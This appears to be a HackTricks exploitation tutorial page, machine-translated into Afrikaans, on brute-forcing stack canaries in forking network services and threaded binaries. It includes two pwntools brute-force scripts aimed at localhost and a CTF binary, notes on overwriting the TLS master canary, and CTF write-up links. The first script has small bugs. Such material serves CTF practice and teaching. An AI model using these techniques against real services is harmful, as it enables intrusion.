BF Forked & Threaded Stack Canaries
Reading time: 4 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
As jy 'n binêre teenkom wat deur 'n kanarie en PIE (Posisie Onafhanklike Uitvoerbare) beskerm word, moet jy waarskynlik 'n manier vind om dit te omseil.
note
Let daarop dat checksec
dalk nie sal vind dat 'n binêre deur 'n kanarie beskerm word nie as dit staties gecompileer is en nie in staat is om die funksie te identifiseer nie.
Jy kan egter dit handmatig opgemerk as jy vind dat 'n waarde in die stapel gestoor word aan die begin van 'n funksie-aanroep en hierdie waarde voor die uitgang nagegaan word.
Brute force Kanarie
Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre 'n program is wat kindproses elke keer fork wanneer jy 'n nuwe verbinding met dit maak (netwerkdiens), want elke keer as jy met dit verbind, sal dieselfde kanarie gebruik word.
Dan is die beste manier om die kanarie te omseil net om dit brute-force per karakter te doen, en jy kan uitvind of die geraamde kanarie-byte korrek was deur te kyk of die program gecrash het of sy gewone vloei voortgaan. In hierdie voorbeeld brute-forseert die funksie 'n 8 Bytes kanarie (x64) en onderskei tussen 'n korrek geraamde byte en 'n slegte byte net deur na te gaan of 'n antwoord deur die bediener teruggestuur word (nog 'n manier in ander situasie kan wees om 'n try/except te gebruik):
Voorbeeld 1
Hierdie voorbeeld is geïmplementeer vir 64-bits, maar kan maklik vir 32-bits geïmplementeer word.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Voorbeeld 2
Dit is geïmplementeer vir 32 bits, maar dit kan maklik verander word na 64 bits.
Let ook daarop dat die program verwag eers 'n byte om die grootte van die invoer aan te dui en die payload.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Draad
Drade van dieselfde proses sal ook diezelfde canary-token deel, daarom sal dit moontlik wees om 'n canary te brute-force as die binêre 'n nuwe draad genereer elke keer as 'n aanval plaasvind.
Boonop kan 'n buffer overflow in 'n gedrade funksie wat met canary beskerm word, gebruik word om die meester canary wat in die TLS gestoor is, te verander. Dit is omdat dit moontlik mag wees om die geheueposisie te bereik waar die TLS gestoor is (en dus, die canary) via 'n bof in die stapel van 'n draad.
As gevolg hiervan is die mitigering nutteloos omdat die kontrole gebruik word met twee canaries wat dieselfde is (alhoewel verander).
Hierdie aanval word uitgevoer in die skrywe: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
Kyk ook na die aanbieding van https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 wat noem dat die TLS gewoonlik gestoor word deur mmap
en wanneer 'n stapel van draad geskep word, dit ook deur mmap
gegenereer word volgens dit, wat die overflow mag toelaat soos in die vorige skrywe gewys.
Ander voorbeelde & verwysings
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bits, geen PIE, nx, BF canary, skryf in 'n sekere geheue 'n ROP om
execve
aan te roep en daarheen te spring.